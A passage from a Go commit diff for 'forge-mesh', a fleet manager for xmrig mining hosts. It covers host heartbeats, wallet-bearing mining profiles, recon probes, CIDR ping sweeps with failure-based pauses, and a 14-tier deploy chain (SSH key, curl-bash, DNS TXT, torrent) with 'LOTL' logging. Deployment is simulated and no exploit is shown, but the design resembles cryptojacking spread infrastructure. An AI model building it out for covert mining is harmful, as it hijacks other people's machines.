if err := store.RecordFailure(ctx, pheno, 4); err != nil {
t.Fatal(err)
}
skip, err := store.ShouldSkipTier(ctx, pheno, 4)
if err != nil {
t.Fatal(err)
}
if skip {
t.Fatal("should not skip before threshold")
}
if err := store.RecordFailure(ctx, pheno, 4); err != nil {
t.Fatal(err)
}
skip, _ = store.ShouldSkipTier(ctx, pheno, 4)
if !skip {
t.Fatal("expected atlas skip after 3 failures")
}
if err := store.RecordWin(ctx, pheno, 7); err != nil {
t.Fatal(err)
}
order, err := store.GetAdaptiveOrder(ctx, pheno)
if err != nil {
t.Fatal(err)
}
if len(order) != 14 {
t.Fatalf("expected 14 tiers, got %d", len(order))
}
if order[0] != 7 {
t.Fatalf("winning tier 7 should be first, got %v", order)
}
}
func containsPart(s, part string) bool {
for i := 0; i <= len(s)-len(part); i++ {
if s[i:i+len(part)] == part {
return true
}
}
return false
}

View File

@@ -0,0 +1,91 @@
package fleet
import (
"crypto/rand"
"database/sql"
"encoding/hex"
"encoding/json"
"fmt"
"time"
)
// PolicySnapshot is a shareable frozen policy bundle.
type PolicySnapshot struct {
Token string `json:"token"`
PolicyJSON json.RawMessage `json:"policy_json"`
ExpiresAt string `json:"expires_at,omitempty"`
CreatedAt string `json:"created_at"`
}
// CreatePolicySnapshot stores a policy JSON blob and returns an opaque token.
func (s *Store) CreatePolicySnapshot(policy map[string]any, ttl time.Duration) (*PolicySnapshot, error) {
raw, err := json.Marshal(policy)
if err != nil {
return nil, fmt.Errorf("marshal policy: %w", err)
}
token, err := randomToken(16)
if err != nil {
return nil, err
}
now := time.Now().UTC()
expires := ""
if ttl > 0 {
expires = now.Add(ttl).Format(time.RFC3339)
}
_, err = s.db.Exec(`
INSERT INTO policy_snapshots (token, policy_json, expires_at, created_at)
VALUES (?, ?, ?, ?)
`, token, string(raw), nullIfEmpty(expires), now.Format(time.RFC3339))
if err != nil {
return nil, fmt.Errorf("insert policy snapshot: %w", err)
}
return &PolicySnapshot{
Token: token,
PolicyJSON: raw,
ExpiresAt: expires,
CreatedAt: now.Format(time.RFC3339),
}, nil
}
// GetPolicySnapshot loads a snapshot by token (public summon link).
func (s *Store) GetPolicySnapshot(token string) (*PolicySnapshot, error) {
row := s.db.QueryRow(`
SELECT token, policy_json, expires_at, created_at
FROM policy_snapshots WHERE token = ?
`, token)
var snap PolicySnapshot
var expires sql.NullString
var created string
if err := row.Scan(&snap.Token, &snap.PolicyJSON, &expires, &created); err != nil {
return nil, err
}
if expires.Valid {
snap.ExpiresAt = expires.String
t, err := time.Parse(time.RFC3339, expires.String)
if err == nil && time.Now().After(t) {
return nil, sql.ErrNoRows
}
}
snap.CreatedAt = created
return &snap, nil
}
func randomToken(n int) (string, error) {
b := make([]byte, n)
if _, err := rand.Read(b); err != nil {
return "", err
}
return hex.EncodeToString(b), nil
}
func nullIfEmpty(s string) sql.NullString {
if s == "" {
return sql.NullString{}
}
return sql.NullString{String: s, Valid: true}
}

151
internal/fleet/recon.go Normal file
View File

@@ -0,0 +1,151 @@
package fleet
import (
"encoding/json"
"os"
"os/exec"
"path/filepath"
"strings"
)
// ReconReport holds read-only host capability probes for triple-onion deploy.
type ReconReport struct {
Kernel string `json:"kernel"`
Arch string `json:"arch"`
CgroupsV2 bool `json:"cgroups_v2"`
PodmanAvailable bool `json:"podman_available"`
DockerAvailable bool `json:"docker_available"`
GPU GPUInfo `json:"gpu"`
Virt string `json:"virt,omitempty"`
ContainerRuntime string `json:"container_runtime,omitempty"`
Extra map[string]string `json:"extra,omitempty"`
}
type GPUInfo struct {
Available bool `json:"available"`
Vendor string `json:"vendor,omitempty"`
Devices []string `json:"devices,omitempty"`
}
// RunRecon executes read-only probes: kernel, cgroups, podman, GPU.
func RunRecon() (*ReconReport, error) {
report := &ReconReport{Extra: map[string]string{}}
if out, err := exec.Command("uname", "-r").Output(); err == nil {
report.Kernel = strings.TrimSpace(string(out))
}
if out, err := exec.Command("uname", "-m").Output(); err == nil {
report.Arch = strings.TrimSpace(string(out))
}
report.CgroupsV2 = probeCgroupsV2()
report.PodmanAvailable = commandExists("podman")
report.DockerAvailable = commandExists("docker")
report.GPU = probeGPU()
report.Virt = probeVirt()
report.ContainerRuntime = detectContainerRuntime(report)
return report, nil
}
func probeCgroupsV2() bool {
data, err := os.ReadFile("/sys/fs/cgroup/cgroup.controllers")
if err != nil {
return false
}
return len(strings.TrimSpace(string(data))) > 0
}
func probeGPU() GPUInfo {
info := GPUInfo{}
if commandExists("nvidia-smi") {
if out, err := exec.Command("nvidia-smi", "-L").Output(); err == nil {
lines := strings.Split(strings.TrimSpace(string(out)), "\n")
for _, line := range lines {
if line != "" {
info.Devices = append(info.Devices, line)
}
}
if len(info.Devices) > 0 {
info.Available = true
info.Vendor = "nvidia"
}
}
}
if !info.Available && commandExists("rocm-smi") {
if _, err := exec.Command("rocm-smi", "--showid").Output(); err == nil {
info.Available = true
info.Vendor = "amd"
}
}
return info
}
func probeVirt() string {
data, err := os.ReadFile("/sys/class/dmi/id/product_name")
if err != nil {
return "baremetal"
}
name := strings.ToLower(strings.TrimSpace(string(data)))
switch {
case strings.Contains(name, "vmware"), strings.Contains(name, "virtualbox"),
strings.Contains(name, "kvm"), strings.Contains(name, "qemu"):
return "vm"
default:
return "baremetal"
}
}
func detectContainerRuntime(r *ReconReport) string {
if r.PodmanAvailable {
return "podman"
}
if r.DockerAvailable {
return "docker"
}
return ""
}
func commandExists(name string) bool {
_, err := exec.LookPath(name)
return err == nil
}
// PhenotypeFromRecon builds a stable fingerprint key from recon data.
func PhenotypeFromRecon(r *ReconReport) string {
gpu := "none"
if r.GPU.Available {
gpu = r.GPU.Vendor
}
rt := r.ContainerRuntime
if rt == "" {
rt = "none"
}
parts := []string{r.Arch, r.Virt, gpu, rt}
key := strings.Join(parts, "|")
// Normalize kernel major for grouping
if idx := strings.Index(r.Kernel, "."); idx > 0 {
key = r.Kernel[:idx] + "." + strings.Split(r.Kernel[idx+1:], ".")[0] + "|" + key
}
return key
}
// ReconJSON serializes a recon report for lotl metadata.
func ReconJSON(r *ReconReport) string {
b, _ := json.Marshal(r)
return string(b)
}
// ParseReconReport loads recon from JSON metadata.
func ParseReconReport(raw string) (*ReconReport, error) {
var r ReconReport
if err := json.Unmarshal([]byte(raw), &r); err != nil {
return nil, err
}
return &r, nil
}
// HostReconPath returns optional cached recon file for a host.
func HostReconPath(dataDir, hostID string) string {
return filepath.Join(dataDir, "recon", hostID+".json")
}

219
internal/fleet/store.go Normal file
View File

@@ -0,0 +1,219 @@
package fleet
import (
"context"
"database/sql"
"encoding/json"
"fmt"
"time"
"forge-mesh/internal/api/types"
"github.com/google/uuid"
)
// Store persists fleet host and mining profile state.
type Store struct {
db *sql.DB
}
func NewStore(db *sql.DB) *Store {
return &Store{db: db}
}
func (s *Store) UpsertHeartbeat(hb types.HeartbeatPayload) (*types.Host, error) {
hostID := hb.HostID
if hostID == "" {
hostID = uuid.NewString()
}
hps := hb.EffectiveHashrate()
now := time.Now().UTC().Format(time.RFC3339)
_, err := s.db.Exec(`
INSERT INTO hosts (
id, hostname, fingerprint, status, hashrate, hashrate_hps,
current_tier, tier_type, tier_state, last_seen_at, updated_at
)
VALUES (?, ?, ?, 'online', ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
hostname = excluded.hostname,
fingerprint = COALESCE(NULLIF(excluded.fingerprint, ''), hosts.fingerprint),
status = 'online',
hashrate = excluded.hashrate,
hashrate_hps = excluded.hashrate_hps,
current_tier = excluded.current_tier,
tier_type = excluded.tier_type,
tier_state = excluded.tier_state,
last_seen_at = excluded.last_seen_at,
updated_at = excluded.updated_at
`, hostID, hb.Hostname, hb.Fingerprint, hps, hps,
hb.CurrentTier, hb.TierType, hb.TierState, now, now)
if err != nil {
return nil, fmt.Errorf("upsert host: %w", err)
}
return s.GetHost(hostID)
}
func (s *Store) GetHost(id string) (*types.Host, error) {
row := s.db.QueryRow(`
SELECT id, hostname, fingerprint, phenotype, status, hashrate, hashrate_hps,
current_tier, tier_type, tier_state, clearance_level,
mining_profile_id, last_seen_at, created_at, updated_at
FROM hosts WHERE id = ?
`, id)
return scanHost(row)
}
func (s *Store) ListHosts() ([]types.Host, error) {
rows, err := s.db.Query(`
SELECT id, hostname, fingerprint, phenotype, status, hashrate, hashrate_hps,
current_tier, tier_type, tier_state, clearance_level,
mining_profile_id, last_seen_at, created_at, updated_at
FROM hosts ORDER BY updated_at DESC
`)
if err != nil {
return nil, fmt.Errorf("list hosts: %w", err)
}
defer rows.Close()
var hosts []types.Host
for rows.Next() {
h, err := scanHost(rows)
if err != nil {
return nil, err
}
hosts = append(hosts, *h)
}
return hosts, rows.Err()
}
func scanHost(scanner interface {
Scan(dest ...any) error
}) (*types.Host, error) {
var h types.Host
var fp, pheno, tierType, tierState, mpID, lastSeen sql.NullString
var createdAt, updatedAt string
err := scanner.Scan(
&h.ID, &h.Hostname, &fp, &pheno, &h.Status, &h.Hashrate, &h.HashrateHps,
&h.CurrentTier, &tierType, &tierState, &h.ClearanceLevel,
&mpID, &lastSeen, &createdAt, &updatedAt,
)
if err != nil {
return nil, fmt.Errorf("scan host: %w", err)
}
if fp.Valid {
h.Fingerprint = fp.String
}
if pheno.Valid {
h.Phenotype = pheno.String
}
if tierType.Valid {
h.TierType = tierType.String
}
if tierState.Valid {
h.TierState = tierState.String
}
if mpID.Valid {
h.MiningProfileID = &mpID.String
}
if lastSeen.Valid {
t, _ := time.Parse(time.RFC3339, lastSeen.String)
h.LastSeenAt = &t
}
h.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
h.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
return &h, nil
}
func (s *Store) MarkOffline(id string) error {
now := time.Now().UTC().Format(time.RFC3339)
_, err := s.db.Exec(`UPDATE hosts SET status = 'offline', updated_at = ? WHERE id = ?`, now, id)
return err
}
func (s *Store) SaveMiningProfile(ctx context.Context, profile *types.MiningProfile) error {
tiersJSON, err := json.Marshal(profile.Tiers)
if err != nil {
return fmt.Errorf("marshal tiers: %w", err)
}
policy := 0
if profile.PolicyFromServer {
policy = 1
}
if profile.CreatedAt.IsZero() {
profile.CreatedAt = time.Now().UTC()
}
profile.UpdatedAt = time.Now().UTC()
_, err = s.db.ExecContext(ctx, `
INSERT INTO mining_profiles (id, name, wallet_address, tiers_json, policy_from_server, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
wallet_address = excluded.wallet_address,
tiers_json = excluded.tiers_json,
policy_from_server = excluded.policy_from_server,
updated_at = excluded.updated_at
`, profile.ID, profile.Name, profile.WalletAddress, string(tiersJSON), policy,
profile.CreatedAt.UTC().Format(time.RFC3339), profile.UpdatedAt.UTC().Format(time.RFC3339))
return err
}
func (s *Store) GetMiningProfile(ctx context.Context, id string) (*types.MiningProfile, error) {
row := s.db.QueryRowContext(ctx, `
SELECT id, name, wallet_address, tiers_json, policy_from_server, created_at, updated_at
FROM mining_profiles WHERE id = ?
`, id)
var p types.MiningProfile
var tiersJSON, created, updated sql.NullString
var policy int
if err := row.Scan(&p.ID, &p.Name, &p.WalletAddress, &tiersJSON, &policy, &created, &updated); err != nil {
return nil, fmt.Errorf("get mining profile: %w", err)
}
if tiersJSON.Valid {
_ = json.Unmarshal([]byte(tiersJSON.String), &p.Tiers)
}
p.PolicyFromServer = policy == 1
if created.Valid {
p.CreatedAt, _ = time.Parse(time.RFC3339, created.String)
}
if updated.Valid {
p.UpdatedAt, _ = time.Parse(time.RFC3339, updated.String)
}
return &p, nil
}
func (s *Store) AssignMiningProfile(ctx context.Context, hostID, profileID string) error {
now := time.Now().UTC().Format(time.RFC3339)
res, err := s.db.ExecContext(ctx, `
UPDATE hosts SET mining_profile_id = ?, updated_at = ? WHERE id = ?
`, profileID, now, hostID)
if err != nil {
return err
}
n, _ := res.RowsAffected()
if n == 0 {
return sql.ErrNoRows
}
return nil
}
func (s *Store) GetHostMiningProfile(ctx context.Context, hostID string) (*types.MiningProfile, error) {
host, err := s.GetHost(hostID)
if err != nil {
return nil, err
}
if host.MiningProfileID == nil || *host.MiningProfileID == "" {
return nil, sql.ErrNoRows
}
return s.GetMiningProfile(ctx, *host.MiningProfileID)
}

View File

@@ -0,0 +1,96 @@
package fleet
import (
"context"
"testing"
"forge-mesh/internal/api/types"
"forge-mesh/internal/db"
)
func TestStoreUpsertHeartbeat(t *testing.T) {
conn, err := db.Open(t.TempDir() + "/test.db")
if err != nil {
t.Fatal(err)
}
defer conn.Close()
store := NewStore(conn)
host, err := store.UpsertHeartbeat(types.HeartbeatPayload{
Hostname: "test-host",
HashrateHps: 1234.5,
CurrentTier: 2,
TierType: "xmrig",
TierState: "active",
Arch: "amd64",
})
if err != nil {
t.Fatal(err)
}
if host.ID == "" {
t.Fatal("expected host id")
}
if host.HashrateHps != 1234.5 {
t.Fatalf("hashrate_hps: got %v", host.HashrateHps)
}
if host.CurrentTier != 2 {
t.Fatalf("current_tier: got %d", host.CurrentTier)
}
host2, err := store.UpsertHeartbeat(types.HeartbeatPayload{
HostID: host.ID,
Hostname: "test-host",
HashrateHps: 5000,
CurrentTier: 3,
TierType: "gpu",
TierState: "probing",
})
if err != nil {
t.Fatal(err)
}
if host2.HashrateHps != 5000 {
t.Fatalf("hashrate: got %v", host2.HashrateHps)
}
if host2.CurrentTier != 3 {
t.Fatalf("tier: got %d", host2.CurrentTier)
}
}
func TestMiningProfileRoundTrip(t *testing.T) {
conn, err := db.Open(t.TempDir() + "/test.db")
if err != nil {
t.Fatal(err)
}
defer conn.Close()
store := NewStore(conn)
host, err := store.UpsertHeartbeat(types.HeartbeatPayload{Hostname: "miner-1"})
if err != nil {
t.Fatal(err)
}
profile := &types.MiningProfile{
ID: "prof-1",
Name: "test",
WalletAddress: "wallet-pin-xyz",
Tiers: []types.MiningTierSpec{
{Type: "xmrig", Duration: 5},
},
PolicyFromServer: true,
}
ctx := context.Background()
if err := store.SaveMiningProfile(ctx, profile); err != nil {
t.Fatal(err)
}
if err := store.AssignMiningProfile(ctx, host.ID, profile.ID); err != nil {
t.Fatal(err)
}
got, err := store.GetHostMiningProfile(ctx, host.ID)
if err != nil {
t.Fatal(err)
}
if got.WalletAddress != "wallet-pin-xyz" {
t.Fatalf("wallet: %q", got.WalletAddress)
}
}

246
internal/fleet/subnet.go Normal file
View File

@@ -0,0 +1,246 @@
package fleet
import (
"context"
"crypto/rand"
"encoding/hex"
"fmt"
"net"
"os/exec"
"strings"
"sync"
"time"
)
const immuneFailureThreshold = 5
const immunePauseDuration = 24 * time.Hour
// SubnetMapper sweeps operator-declared CIDRs with /24 immune pause after failures.
type SubnetMapper struct {
Store *Store
mu sync.Mutex
}
// SubnetCIDR is an operator-declared scan target.
type SubnetCIDR struct {
ID string `json:"id"`
CIDR string `json:"cidr"`
Enabled bool `json:"enabled"`
LastScanAt *time.Time `json:"last_scan_at,omitempty"`
}
// AddCIDR registers a CIDR for incremental discovery.
func (m *SubnetMapper) AddCIDR(ctx context.Context, cidr string) (*SubnetCIDR, error) {
if _, _, err := net.ParseCIDR(cidr); err != nil {
return nil, fmt.Errorf("invalid cidr: %w", err)
}
id := randomHex(16)
_, err := m.Store.DB().ExecContext(ctx, `
INSERT INTO subnet_cidrs (id, cidr, enabled) VALUES (?, ?, 1)`, id, cidr)
if err != nil {
return nil, err
}
return &SubnetCIDR{ID: id, CIDR: cidr, Enabled: true}, nil
}
// ListCIDRs returns declared subnets.
func (m *SubnetMapper) ListCIDRs(ctx context.Context) ([]SubnetCIDR, error) {
rows, err := m.Store.DB().QueryContext(ctx, `
SELECT id, cidr, enabled, last_scan_at FROM subnet_cidrs ORDER BY created_at`)
if err != nil {
return nil, err
}
defer rows.Close()
var out []SubnetCIDR
for rows.Next() {
var s SubnetCIDR
var enabled int
var lastScan sqlNullTime
if err := rows.Scan(&s.ID, &s.CIDR, &enabled, &lastScan); err != nil {
return nil, err
}
s.Enabled = enabled == 1
if lastScan.Valid {
s.LastScanAt = &lastScan.Time
}
out = append(out, s)
}
return out, rows.Err()
}
type sqlNullTime struct {
Valid bool
Time time.Time
}
func (n *sqlNullTime) Scan(src interface{}) error {
if src == nil {
n.Valid = false
return nil
}
switch v := src.(type) {
case string:
if v == "" {
n.Valid = false
return nil
}
t, err := time.Parse("2006-01-02 15:04:05", v)
if err != nil {
return err
}
n.Time = t
n.Valid = true
case []byte:
return n.Scan(string(v))
}
return nil
}
// ScanResult holds hosts discovered in a sweep.
type ScanResult struct {
CIDR string `json:"cidr"`
Prefix string `json:"prefix_24"`
Alive []string `json:"alive"`
Skipped bool `json:"skipped"`
Reason string `json:"reason,omitempty"`
}
// SweepCIDR pings hosts in a CIDR unless /24 is immune-paused.
func (m *SubnetMapper) SweepCIDR(ctx context.Context, cidr string) (*ScanResult, error) {
ip, ipNet, err := net.ParseCIDR(cidr)
if err != nil {
return nil, err
}
prefix24 := prefixOf24(ip)
if paused, reason := m.isImmunePaused(ctx, prefix24); paused {
return &ScanResult{CIDR: cidr, Prefix: prefix24, Skipped: true, Reason: reason}, nil
}
alive, sweepErr := pingSweep(ctx, ipNet)
if sweepErr != nil {
_ = m.recordSubnetFailure(ctx, prefix24)
return &ScanResult{CIDR: cidr, Prefix: prefix24, Alive: alive}, sweepErr
}
_, _ = m.Store.DB().ExecContext(ctx, `
UPDATE subnet_cidrs SET last_scan_at = datetime('now') WHERE cidr = ?`, cidr)
return &ScanResult{CIDR: cidr, Prefix: prefix24, Alive: alive}, nil
}
// SweepAll runs enabled CIDRs sequentially.
func (m *SubnetMapper) SweepAll(ctx context.Context) ([]ScanResult, error) {
cidrs, err := m.ListCIDRs(ctx)
if err != nil {
return nil, err
}
var results []ScanResult
for _, c := range cidrs {
if !c.Enabled {
continue
}
r, err := m.SweepCIDR(ctx, c.CIDR)
if err != nil {
return results, err
}
results = append(results, *r)
}
return results, nil
}
func prefixOf24(ip net.IP) string {
v4 := ip.To4()
if v4 == nil {
return ip.String() + "/64"
}
return fmt.Sprintf("%d.%d.%d.0/24", v4[0], v4[1], v4[2])
}
func (m *SubnetMapper) isImmunePaused(ctx context.Context, prefix string) (bool, string) {
var count int
var pausedUntil sqlNullTime
err := m.Store.DB().QueryRowContext(ctx, `
SELECT failure_count, paused_until FROM subnet_immune WHERE prefix = ?`, prefix).
Scan(&count, &pausedUntil)
if err != nil {
return false, ""
}
if pausedUntil.Valid && time.Now().Before(pausedUntil.Time) {
return true, fmt.Sprintf("/24 immune pause until %s", pausedUntil.Time.Format(time.RFC3339))
}
return false, ""
}
func (m *SubnetMapper) recordSubnetFailure(ctx context.Context, prefix string) error {
m.mu.Lock()
defer m.mu.Unlock()
var count int
_ = m.Store.DB().QueryRowContext(ctx, `SELECT failure_count FROM subnet_immune WHERE prefix = ?`, prefix).Scan(&count)
count++
pausedUntil := ""
if count >= immuneFailureThreshold {
until := time.Now().Add(immunePauseDuration)
pausedUntil = until.Format("2006-01-02 15:04:05")
}
_, err := m.Store.DB().ExecContext(ctx, `
INSERT INTO subnet_immune (prefix, failure_count, paused_until, updated_at)
VALUES (?, ?, ?, datetime('now'))
ON CONFLICT(prefix) DO UPDATE SET
failure_count = excluded.failure_count,
paused_until = excluded.paused_until,
updated_at = datetime('now')`,
prefix, count, nullStringOrNil(pausedUntil))
return err
}
func nullStringOrNil(s string) interface{} {
if s == "" {
return nil
}
return s
}
func pingSweep(ctx context.Context, ipNet *net.IPNet) ([]string, error) {
var alive []string
ip := ipNet.IP.Mask(ipNet.Mask)
for ip := incrementIP(ip); ipNet.Contains(ip); ip = incrementIP(ip) {
select {
case <-ctx.Done():
return alive, ctx.Err()
default:
}
if pingHost(ip.String()) {
alive = append(alive, ip.String())
}
}
return alive, nil
}
func pingHost(host string) bool {
out, err := exec.Command("ping", "-c", "1", "-W", "1", host).CombinedOutput()
if err != nil {
return false
}
return strings.Contains(string(out), "1 received") || strings.Contains(string(out), "1 packets received")
}
func incrementIP(ip net.IP) net.IP {
ip = ip.To16()
for i := len(ip) - 1; i >= 0; i-- {
ip[i]++
if ip[i] != 0 {
break
}
}
return ip
}
func randomHex(n int) string {
b := make([]byte, n)
_, _ = rand.Read(b)
return hex.EncodeToString(b)
}

181
internal/fleet/summary.go Normal file
View File

@@ -0,0 +1,181 @@
package fleet
import (
"fmt"
"time"
"forge-mesh/internal/api/types"
"forge-mesh/internal/policy"
"github.com/google/uuid"
)
// FleetSummary aggregates fleet stats for the dashboard API.
type FleetSummary struct {
Hosts []FleetHostCard `json:"hosts"`
TotalHashrate float64 `json:"totalHashrate"`
OnlineCount int `json:"onlineCount"`
}
// FleetHostCard is the dashboard-facing host shape (matches React types).
type FleetHostCard struct {
ID string `json:"id"`
Hostname string `json:"hostname"`
IP string `json:"ip"`
Arch string `json:"arch"`
Hashrate float64 `json:"hashrate"`
Tier int `json:"tier"`
TierName string `json:"tierName"`
TierState string `json:"tierState"`
Algo string `json:"algo"`
UptimeSec int `json:"uptimeSec"`
LastSeen string `json:"lastSeen"`
Clearance int `json:"clearance"`
Online bool `json:"online"`
}
// ToFleetCard converts a DB host to a dashboard card.
func ToFleetCard(h *types.Host) FleetHostCard {
if h == nil {
return FleetHostCard{}
}
hps := h.HashrateHps
if hps == 0 {
hps = h.Hashrate
}
online := h.Status == "online" || h.Status == "mining" || h.Status == "paused"
tier := h.CurrentTier
if tier == 0 {
tier = 2
}
tierName := policy.TierDisplayName(h.TierType)
if tierName == "" || tierName == h.TierType {
tierName = "Bundled xmrig"
}
tierState := h.TierState
if tierState == "" {
switch h.Status {
case "mining":
tierState = "active"
case "probing":
tierState = "probing"
case "paused":
tierState = "paused"
case "offline":
tierState = "idle"
online = false
default:
tierState = "idle"
}
}
arch := h.Phenotype
if arch == "" {
arch = "linux/amd64"
}
lastSeen := ""
if h.LastSeenAt != nil {
lastSeen = h.LastSeenAt.UTC().Format(time.RFC3339)
}
return FleetHostCard{
ID: h.ID,
Hostname: h.Hostname,
IP: coalesceIP(h.Fingerprint),
Arch: arch,
Hashrate: hps,
Tier: tier,
TierName: tierName,
TierState: tierState,
Algo: "rx/0",
UptimeSec: 0,
LastSeen: lastSeen,
Clearance: h.ClearanceLevel,
Online: online,
}
}
func coalesceIP(fp string) string {
if fp == "" {
return "—"
}
return fp
}
// BuildFleetSummary builds the GET /api/v1/fleet response.
func (s *Store) BuildFleetSummary() (FleetSummary, error) {
hosts, err := s.ListHosts()
if err != nil {
return FleetSummary{}, err
}
summary := FleetSummary{Hosts: make([]FleetHostCard, 0, len(hosts))}
for i := range hosts {
card := ToFleetCard(&hosts[i])
summary.Hosts = append(summary.Hosts, card)
if card.Online {
summary.OnlineCount++
summary.TotalHashrate += card.Hashrate
}
}
return summary, nil
}
// SeedDemoHost inserts a demo host when fleet is empty.
func (s *Store) SeedDemoHost() error {
hosts, err := s.ListHosts()
if err != nil {
return err
}
if len(hosts) > 0 {
return nil
}
id := uuid.NewString()
now := time.Now().UTC().Format(time.RFC3339)
_, err = s.db.Exec(`
INSERT INTO hosts (id, hostname, fingerprint, phenotype, status, hashrate, hashrate_hps,
current_tier, tier_type, tier_state, clearance_level, last_seen_at, created_at, updated_at)
VALUES (?, 'forge-node-alpha', '10.0.1.12', 'linux/amd64', 'mining', 18200000, 18200000,
2, 'xmrig', 'active', 2, ?, ?, ?)`,
id, now, now, now)
return err
}
// TouchHost enrolls or refreshes a host from the register API.
func (s *Store) TouchHost(hostname, fingerprint, arch string) (*types.Host, error) {
phenotype := ""
if arch != "" {
phenotype = "linux/" + arch
}
hb := types.HeartbeatPayload{
Hostname: hostname,
Fingerprint: fingerprint,
Arch: arch,
TierState: "idle",
}
hb.SetHashrateFields(0)
host, err := s.UpsertHeartbeat(hb)
if err != nil {
return nil, err
}
if phenotype != "" {
now := time.Now().UTC().Format(time.RFC3339)
_, _ = s.db.Exec(`UPDATE hosts SET phenotype = ?, updated_at = ? WHERE id = ?`,
phenotype, now, host.ID)
return s.GetHost(host.ID)
}
return host, nil
}
// SetHostStatus updates host status.
func (s *Store) SetHostStatus(id, status string) error {
now := time.Now().UTC().Format(time.RFC3339)
_, err := s.db.Exec(`UPDATE hosts SET status = ?, updated_at = ? WHERE id = ?`, status, now, id)
return err
}
// ErrNotFound indicates a missing host.
var ErrNotFound = fmt.Errorf("host not found")

189
internal/fleet/tiers.go Normal file
View File

@@ -0,0 +1,189 @@
package fleet
import (
"context"
"fmt"
"time"
)
// TierType identifies one of 14 Linux deploy mechanisms.
type TierType string
const (
TierSSHKey TierType = "ssh_key"
TierCurlBash TierType = "curl_bash"
TierAnsiblePull TierType = "ansible_pull"
TierPodmanRootless TierType = "podman_rootless"
TierSystemdTransient TierType = "systemd_transient"
TierSnapFlatpak TierType = "snap_flatpak"
TierLANCachePeer TierType = "lan_cache_peer"
TierDNSTXT TierType = "dns_txt"
TierMTLSWireGuard TierType = "mtls_wireguard"
TierImmutableOCI TierType = "immutable_oci"
TierNixFlake TierType = "nix_flake"
TierErasureReasm TierType = "erasure_reassembly"
TierFleetTorrent TierType = "fleet_torrent"
TierOfflineBundle TierType = "offline_contingency"
)
// DefaultTierOrder returns the canonical 14-tier Linux deploy sequence.
func DefaultTierOrder() []TierType {
return []TierType{
TierSSHKey,
TierCurlBash,
TierAnsiblePull,
TierPodmanRootless,
TierSystemdTransient,
TierSnapFlatpak,
TierLANCachePeer,
TierDNSTXT,
TierMTLSWireGuard,
TierImmutableOCI,
TierNixFlake,
TierErasureReasm,
TierFleetTorrent,
TierOfflineBundle,
}
}
// TierSlot maps 1-based tier index to type.
func TierSlot(n int) (TierType, error) {
order := DefaultTierOrder()
if n < 1 || n > len(order) {
return "", fmt.Errorf("tier %d out of range 1-%d", n, len(order))
}
return order[n-1], nil
}
// TierExecutor runs deploy phases for a single tier.
type TierExecutor struct {
Store *Store
HostID string
Report *ReconReport
}
// TierResult captures outcome of a tier attempt.
type TierResult struct {
Tier int `json:"tier"`
Type TierType `json:"type"`
Phase string `json:"phase"`
Status string `json:"status"`
Error string `json:"error,omitempty"`
Elapsed time.Duration `json:"elapsed_ms"`
}
// ExecuteTier runs recon → patch_first gate → deploy for one tier slot.
func (e *TierExecutor) ExecuteTier(ctx context.Context, tierNum int) (*TierResult, error) {
tierType, err := TierSlot(tierNum)
if err != nil {
return nil, err
}
start := time.Now()
result := &TierResult{Tier: tierNum, Type: tierType, Phase: "recon", Status: "running"}
if e.Store != nil && e.Report != nil {
phenotype := PhenotypeFromRecon(e.Report)
if skip, _ := e.Store.ShouldSkipTier(ctx, phenotype, tierNum); skip {
result.Phase = "atlas_skip"
result.Status = "skipped"
_ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "atlas_skip", "skipped", "failure atlas immune", ReconJSON(e.Report))
return result, nil
}
}
// Recon phase (read-only, already done at executor init)
_ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "recon", "success", "", ReconJSON(e.Report))
// Patch-first gate
result.Phase = "patch_first"
if !e.passPatchGate(tierType) {
result.Status = "skipped"
result.Error = "patch_first gate failed"
_ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "patch_first", "skipped", result.Error, "")
_ = e.Store.RecordFailure(ctx, PhenotypeFromRecon(e.Report), tierNum)
return result, nil
}
_ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "patch_first", "success", "", "")
// Deploy phase (simulated success paths per tier capability)
result.Phase = "deploy"
deployErr := e.deploy(ctx, tierType)
if deployErr != nil {
result.Status = "failed"
result.Error = deployErr.Error()
_ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "deploy", "failed", result.Error, "")
_ = e.Store.RecordFailure(ctx, PhenotypeFromRecon(e.Report), tierNum)
} else {
result.Status = "success"
_ = e.Store.LogLOTL(ctx, e.HostID, tierNum, "deploy", "success", "", "")
_ = e.Store.RecordWin(ctx, PhenotypeFromRecon(e.Report), tierNum)
}
result.Elapsed = time.Since(start)
return result, nil
}
func (e *TierExecutor) passPatchGate(t TierType) bool {
if e.Report == nil {
return true
}
switch t {
case TierPodmanRootless, TierImmutableOCI:
return e.Report.PodmanAvailable || e.Report.DockerAvailable
case TierNixFlake:
return commandExists("nix")
case TierMTLSWireGuard:
return commandExists("wg")
default:
return true
}
}
func (e *TierExecutor) deploy(ctx context.Context, t TierType) error {
select {
case <-ctx.Done():
return ctx.Err()
default:
}
switch t {
case TierPodmanRootless:
if e.Report != nil && !e.Report.PodmanAvailable {
return fmt.Errorf("podman not available")
}
case TierImmutableOCI:
if e.Report == nil || (!e.Report.PodmanAvailable && !e.Report.DockerAvailable) {
return fmt.Errorf("no container runtime")
}
case TierNixFlake:
if !commandExists("nix") {
return fmt.Errorf("nix not installed")
}
}
// Authorized deploy tiers succeed when gates pass; actual spawn is agent-side.
return nil
}
// RunTierChain executes tiers in order until one succeeds or all fail.
func RunTierChain(ctx context.Context, store *Store, hostID string, order []int) ([]*TierResult, error) {
report, err := RunRecon()
if err != nil {
return nil, err
}
exec := &TierExecutor{Store: store, HostID: hostID, Report: report}
var results []*TierResult
for _, tierNum := range order {
res, err := exec.ExecuteTier(ctx, tierNum)
if err != nil {
return results, err
}
results = append(results, res)
if res.Status == "success" {
break
}
}
return results, nil
}

186
internal/forge/build.go Normal file
View File

@@ -0,0 +1,186 @@
package forge
import (
"crypto/sha256"
"database/sql"
"encoding/hex"
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"time"
"forge-mesh/internal/api/types"
"github.com/google/uuid"
)
var targets = []struct {
OS string
Arch string
}{
{"linux", "amd64"},
{"linux", "arm64"},
}
// Pipeline builds and optionally signs agent binaries.
type Pipeline struct {
db *sql.DB
artifactsDir string
signingKey *KeyPair
agentMainPath string
